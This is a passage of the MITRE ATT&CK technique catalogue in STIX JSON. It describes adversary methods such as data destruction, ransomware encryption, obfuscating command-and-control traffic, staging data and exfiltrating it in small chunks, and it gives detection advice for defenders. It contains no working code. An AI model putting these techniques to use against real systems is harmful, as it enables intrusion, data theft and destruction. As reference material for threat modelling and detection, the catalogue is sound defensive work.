            "description": "Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts.\n\nAdversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
            "id": "attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "modified": "2021-04-15T03:49:13.409Z",
            "created": "2020-10-02T16:57:45.044Z",
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_platforms": [
                "PRE"
            ]
        },
        {
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1002",
                    "url": "https://attack.mitre.org/techniques/T1002"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/List_of_file_signatures",
                    "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
                    "source_name": "Wikipedia File Header Signatures"
                }
            ],
            "name": "Data Compressed",
            "id": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
            "type": "attack-pattern",
            "modified": "2020-03-30T03:09:45.384Z",
            "created": "2017-05-31T21:30:19.338Z"
        },
        {
            "created": "2019-03-14T18:47:17.701Z",
            "modified": "2021-03-25T14:47:48.728Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "type": "attack-pattern",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1485",
                    "url": "https://attack.mitre.org/techniques/T1485"
                },
                {
                    "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
                    "url": "https://www.symantec.com/connect/blogs/shamoon-attacks",
                    "source_name": "Symantec Shamoon 2012"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html",
                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
                    "source_name": "FireEye Shamoon Nov 2016"
                },
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "source_name": "Palo Alto Shamoon Nov 2016"
                },
                {
                    "source_name": "Kaspersky StoneDrill 2017",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf",
                    "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019."
                },
                {
                    "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
                    "source_name": "Unit 42 Shamoon3 2018"
                },
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."
                },
                {
                    "source_name": "Data Destruction - Threat Post",
                    "url": "https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/",
                    "description": "Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020."
                },
                {
                    "source_name": "DOJ  - Cisco Insider",
                    "url": "https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network",
                    "description": "DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco\u2019s Network. Retrieved December 15, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data Destruction",
            "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.\n\nAdversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).\n\nIn cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ  - Cisco Insider)",
            "id": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c",
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_detection": "Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under <code>C:\\Windows\\System32\\</code>.\n\nIn cloud environments, the occurrence of anomalous high-volume deletion events, such as the <code>DeleteDBCluster</code> and <code>DeleteGlobalCluster</code> events in AWS, or a high quantity of data deletion events, such as <code>DeleteBucket</code>, within a short period of time may indicate suspicious activity.",
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                "Command: Command Execution",
                "File: File Modification",
                "File: File Deletion",
                "Image: Image Deletion",
                "Instance: Instance Deletion",
                "Snapshot: Snapshot Deletion",
                "Cloud Storage: Cloud Storage Deletion",
                "Volume: Volume Deletion"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "root",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_contributors": [
                "Brent Murphy, Elastic",
                "David French, Elastic",
                "Syed Ummar Farooqh, McAfee",
                "Prasad Somasamudram, McAfee",
                "Sekhar Sarukkai, McAfee ",
                "Varonis Threat Labs"
            ]
        },
        {
            "id": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data Encoding",
            "description": "Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1132",
                    "url": "https://attack.mitre.org/techniques/T1132"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding",
                    "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
                    "source_name": "Wikipedia Binary-to-text Encoding"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Character_encoding",
                    "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
                    "source_name": "Wikipedia Character Encoding"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-03-14T23:39:50.338Z",
            "created": "2017-05-31T21:31:43.540Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_network_requirements": true,
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_contributors": [
                "Itzik Kotler, SafeBreach"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1022",
                    "url": "https://attack.mitre.org/techniques/T1022"
                },
                {
                    "url": "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf",
                    "description": "Zhang, H., Papadopoulos, C., & Massey, D. (2013, April). Detecting encrypted botnet traffic. Retrieved August 19, 2015.",
                    "source_name": "Zhang 2013"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/List_of_file_signatures",
                    "description": "Wikipedia. (2016, March 31). List of file signatures. Retrieved April 22, 2016.",
                    "source_name": "Wikipedia File Header Signatures"
                }
            ],
            "name": "Data Encrypted",
            "id": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-30T03:10:12.750Z",
            "created": "2017-05-31T21:30:30.260Z"
        },
        {
            "id": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0",
            "description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)\n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)",
            "name": "Data Encrypted for Impact",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1486",
                    "url": "https://attack.mitre.org/techniques/T1486"
                },
                {
                    "source_name": "US-CERT Ransomware 2016",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA16-091A",
                    "description": "US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019."
                },
                {
                    "source_name": "FireEye WannaCry 2017",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html",
                    "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019."
                },
                {
                    "source_name": "US-CERT NotPetya 2017",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A",
                    "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019."
                },
                {
                    "source_name": "US-CERT SamSam 2018",
                    "url": "https://www.us-cert.gov/ncas/alerts/AA18-337A",
                    "description": "US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019."
                },
                {
                    "source_name": "Rhino S3 Ransomware Part 1",
                    "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/",
                    "description": "Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2021-04-20T16:39:06.594Z",
            "created": "2019-03-15T13:59:30.390Z",
            "x_mitre_contributors": [
                "Oleg Kolesnikov, Securonix"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_detection": "Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.\n\nIn some cases, monitoring for unusual kernel driver installation activity can aid in detection.\n\nIn cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.",
            "x_mitre_data_sources": [
                "Cloud Storage: Cloud Storage Metadata",
                "Cloud Storage: Cloud Storage Modification",
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Modification",
                "File: File Creation"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "IaaS"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "root",
                "SYSTEM"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1565",
                    "url": "https://attack.mitre.org/techniques/T1565"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data Manipulation",
            "description": "Adversaries may insert, delete, or manipulate data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
            "id": "attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2021-04-24T14:04:16.371Z",
            "created": "2020-03-02T14:19:22.609Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "root",
                "SYSTEM"
            ],
            "x_mitre_impact_type": [
                "Integrity"
            ],
            "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.",
            "x_mitre_data_sources": [
                "File: File Metadata",
                "Process: OS API Execution",
                "File: File Creation",
                "File: File Deletion",
                "File: File Modification",
                "Network Traffic: Network Traffic Content",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data Obfuscation",
            "description": "Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1001",
                    "url": "https://attack.mitre.org/techniques/T1001"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-03-15T00:40:27.670Z",
            "created": "2017-05-31T21:30:18.931Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_network_requirements": true,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "id": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data Staged",
            "description": "Adversaries may stage collected data in a central location or directory prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.(Citation: PWC Cloud Hopper April 2017)\n\nIn cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)\n\nAdversaries may choose to stage data from a victim network in a centralized location prior to Exfiltration to minimize the number of connections made to their C2 server and better evade detection.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1074",
                    "url": "https://attack.mitre.org/techniques/T1074"
                },
                {
                    "source_name": "PWC Cloud Hopper April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"
                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "url": "https://content.fireeye.com/m-trends/rpt-m-trends-2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved April 24, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "modified": "2021-03-08T10:33:00.855Z",
            "created": "2017-05-31T21:30:58.938Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_contributors": [
                "Praetorian",
                "Shane Tully, @securitygypsy"
            ],
            "x_mitre_platforms": [
                "Windows",
                "IaaS",
                "Linux",
                "macOS"
            ],
            "x_mitre_detection": "Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_data_sources": [
                "File: File Access",
                "File: File Creation",
                "Command: Command Execution"
            ],
            "x_mitre_version": "1.3"
        },
        {
            "id": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data Transfer Size Limits",
            "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1030",
                    "external_id": "T1030"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "modified": "2020-07-14T19:47:46.912Z",
            "created": "2017-05-31T21:30:34.523Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_network_requirements": true,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "created": "2019-08-30T18:07:27.741Z",
            "modified": "2021-03-08T10:33:01.374Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "type": "attack-pattern",
            "external_references": [
                {
                    "external_id": "T1530",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1530"
                },
                {
                    "source_name": "Amazon S3 Security, 2019",
                    "url": "https://aws.amazon.com/premiumsupport/knowledge-center/secure-s3-resources/",
                    "description": "Amazon. (2019, May 17). How can I secure the files in my Amazon S3 bucket?. Retrieved October 4, 2019."
                },
                {
                    "source_name": "Microsoft Azure Storage Security, 2019",
                    "url": "https://docs.microsoft.com/en-us/azure/storage/common/storage-security-guide",
                    "description": "Amlekar, M., Brooks, C., Claman, L., et. al.. (2019, March 20). Azure Storage security guide. Retrieved October 4, 2019."
                },
                {
                    "source_name": "Google Cloud Storage Best Practices, 2019",
                    "url": "https://cloud.google.com/storage/docs/best-practices",
                    "description": "Google. (2019, September 16). Best practices for Cloud Storage. Retrieved October 4, 2019."
                },
                {
                    "source_name": "Trend Micro S3 Exposed PII, 2017",
                    "url": "https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/a-misconfigured-amazon-s3-exposed-almost-50-thousand-pii-in-australia",
                    "description": "Trend Micro. (2017, November 6). A Misconfigured Amazon S3 Exposed Almost 50 Thousand PII in Australia. Retrieved October 4, 2019."
                },
                {
                    "source_name": "Wired Magecart S3 Buckets, 2019",
                    "url": "https://www.wired.com/story/magecart-amazon-cloud-hacks/",
                    "description": "Barrett, B.. (2019, July 11). Hack Brief: A Card-Skimming Hacker Group Hit 17K Domains\u2014and Counting. Retrieved October 4, 2019."
                },
                {
                    "source_name": "HIPAA Journal S3 Breach, 2017",
                    "url": "https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/",
                    "description": "HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data from Cloud Storage Object",
            "description": "Adversaries may access data objects from improperly secured cloud storage.\n\nMany cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019)\n\nMisconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.",
            "id": "attack-pattern--3298ce88-1628-43b1-87d9-0b5336b193d7",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_data_sources": [
                "Cloud Storage: Cloud Storage Access"
            ],
            "x_mitre_detection": "Monitor for unusual queries to the cloud provider's storage service. Activity originating from unexpected sources may indicate improper permissions are set that is allowing access to data. Additionally, detecting failed attempts by a user for a certain object, followed by escalation of privileges by the same user, and access to the same object may be an indication of suspicious activity.",
            "x_mitre_contributors": [
                "Netskope",
                "Praetorian"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_platforms": [
                "IaaS"
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            "x_mitre_is_subtechnique": false
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1602",
                    "url": "https://attack.mitre.org/techniques/T1602"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
                },
                {
                    "source_name": "US-CERT TA17-156A SNMP Abuse 2017",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/TA17-156A",
                    "description": "US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities",
                    "url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3",
                    "description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020."
                }
            ],
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Data from Configuration Repository",
            "description": "Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.\n\nAdversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017)",
            "id": "attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74",
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                {
                    "kill_chain_name": "mitre-attack",
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                }
            ],
            "modified": "2020-10-22T02:26:44.566Z",
            "created": "2020-10-19T23:46:13.931Z",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": false,
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)",
            "x_mitre_platforms": [
                "Network"
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        },
        {
            "object_marking_refs": [
